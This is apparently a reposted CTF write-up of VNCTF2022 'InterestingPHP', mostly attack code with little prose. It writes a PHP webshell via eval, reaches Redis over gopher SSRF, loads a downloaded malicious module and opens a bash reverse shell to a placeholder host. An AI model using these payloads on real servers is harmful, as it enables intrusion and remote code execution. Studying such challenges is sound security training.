本文为看雪论坛优秀文章
看雪论坛作者ID:H3h3QAQ
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/10-1651231399.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/5-1651231401.png)
/?exp=var_dump(ini_get_all());
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/2-1651231403.png)
/?exp=var_dump(scandir('/var/www/html'));
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/10-1651231404.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/6-1651231406.png)
ye_w4nt_a_gir1fri3nd
//此处我用的官方wp的exp脚本/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));POST:a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/1-1651231407.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/10-1651231409.png)
也就是说,可以利用redis module load rce。
?exp=eval(file_put_contents("shell.php",base64_decode($_POST['a'])));POST:a=PD9waHAKZXZhbCgkX1BPU1RbMV0pOw==
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/2-1651231411.png)
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.2877aca83bea";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3606"."f25bf";echo @asenc($output);echo "a5"."256";}ob_start();try{$cmd=base64_decode("KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K");$conn=@stream_socket_client("tcp://127.0.0.1:8888", $errno, $errstr, $timeout=30);if(!$conn){echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";}else{@fwrite($conn,$cmd,strlen($cmd));$resp=@fread($conn, 8196);@stream_set_blocking($conn,0);while($buf=@fread($conn,8196)){$resp.=$buf;}stream_set_blocking($conn, 1);echo base64_encode($resp);@stream_socket_shutdown($conn,STREAM_SHUT_RDWR);@fclose($conn);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
import requestsurl = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type": "application/x-www-form-urlencoded"}pay = "http://ip/exp.so"payload = '''function Curl($url) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );$result = curl_exec($ch);curl_close($ch);file_put_contents("exp.so",$result);}Curl("''' + pay + '''");'''.strip()data = {0: payload}r = requests.post(url, data, headers=headers).textprint(r)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/7-1651231412.png)
import requestsfrom urllib import parseurl = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type":"application/x-www-form-urlencoded"}pay="""auth ye_w4nt_a_gir1fri3ndmodule load ./exp.sosystem.exec 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'quit""".replace('n','rn')payload = '''function Curl($url) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );$result = curl_exec($ch);curl_close($ch);if($result!=''){echo $result;}}Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");'''data = {0:payload}r = requests.post(url,data=data,headers=headers).textprint(r)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/2-1651231414.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/1-1651231416.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/3-1651231419.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/9-1651231422.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/10-1651231426.png)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/3-1651231430.png)
看雪ID:H3h3QAQ
https://bbs.pediy.com/user-home-921448.htm
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/5-1651231432.jpeg)
# 往期推荐
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/9-1651231434.jpeg)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/4-1651231435.gif)
球分享
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/0-1651231437.gif)
球点赞
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/9-1651231440.gif)
球在看
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/2-1651231441.gif)
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):[VNCTF2022]InterestingPHP复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-


![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/7-1651231398.jpeg)
![[VNCTF2022]InterestingPHP复现 [VNCTF2022]InterestingPHP复现](http://cn-sec.com/wp-content/uploads/2022/04/8-1651231431.png)
评论